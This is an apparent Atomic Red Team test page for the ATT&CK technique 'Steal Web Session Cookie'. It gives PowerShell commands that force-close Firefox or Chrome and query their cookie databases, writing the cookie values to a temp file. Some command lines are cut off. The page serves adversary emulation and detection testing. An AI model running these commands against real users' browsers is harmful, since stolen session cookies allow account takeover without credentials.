# T1539 - Steal Web Session Cookie

## Description from ATT&CK

> An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.
> Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)
>
> There are several examples of malware targeting cookies from web browsers on the local system. (Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)

> After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.

## Atomic Tests

- Atomic Test #1 - Steal Firefox Cookies (Windows)
- Atomic Test #2 - Steal Chrome Cookies (Windows)

## Atomic Test #1 - Steal Firefox Cookies (Windows)

This test queries Firefox's cookies.sqlite database to steal the cookie data contained within it, similar to Zloader/Zbot's cookie theft function. Note: If Firefox is running, the process will be killed to ensure that the DB file isn't locked. See https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf.

**Supported Platforms:** Windows

**auto_generated_guid:** 4b437357-f4e9-4c84-9fa6-9bcee6f826aa

**Inputs:**

| Name | Description | Type | Default Value |
|---|---|---|---|
| sqlite3_path | Path to sqlite3 | Path | $env:temp\sqlite-tools-win32-x86-3380200\sqlite3.exe |
| output_file | Filepath to output cookies | Path | $env:temp\T1539FirefoxCookies.txt |

**Attack Commands: Run with `powershell`!**

```
stop-process -name "firefox" -force -erroraction silentlycontinue
$CookieDBLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*\c
"select host, name, value, path, expiry, isSecure, isHttpOnly, sameSite from [moz_
```

**Cleanup Commands:**

```
remove-item #{output_file} -erroraction silentlycontinue
```

**Dependencies: Run with `powershell`!**

**Description: Sqlite3 must exist at (#{sqlite3_path})**

**Check Prereq Commands:**

```
if (Test-Path #{sqlite3_path}) {exit 0} else {exit 1}
```

**Get Prereq Commands:**

```
Invoke-WebRequest "https://www.sqlite.org/2022/sqlite-tools-win32-x86-3380200.zip"
```

Preview | Code | Blame — Raw

## Atomic Test #2 - Steal Chrome Cookies (Windows)

This test queries Chrome's SQLite database to steal the encrypted cookie data, designed to function similarly to Zloader/Zbot's cookie theft function. Once an adversary obtains the encrypted cookie info, they could go on to decrypt the encrypted value, potentially allowing for session theft. Note: If Chrome is running, the process will be killed to ensure that the DB file isn't locked. See https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf.

**Supported Platforms:** Windows

**auto_generated_guid:** 26a6b840-4943-4965-8df5-ef1f9a282440

**Inputs:**

| Name | Description | Type | Default Value |
|---|---|---|---|
| cookie_db | Filepath for Chrome cookies database | String | $env:localappdata\Google\Chrome\User Data\Default\Network\Cookies |

| | | | |
|---|---|---|---|
| sqlite3_path | Path to sqlite3 | Path | $env:temp\sqlite-tools-win32-x86-3380200\sqlite3.exe |
| output_file | Filepath to output cookies | Path | $env:temp\T1539ChromeCookies.txt |

**Attack Commands: Run with `powershell`!**

```
stop-process -name "chrome" -force -erroraction silentlycontinue
"select host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly
```

**Cleanup Commands:**

```
remove-item #{output_file}
```

**Dependencies: Run with `powershell`!**

Description: Sqlite3 must exist at (#{sqlite3_path})

Check Prereq Commands:

```
if (Test-Path #{sqlite3_path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest "https://www.sqlite.org/2022/sqlite-tools-win32-x86-3380200.zip"
Expand-Archive -path "$env:temp\sqlite.zip" -destinationpath "$env:temp\" -force
```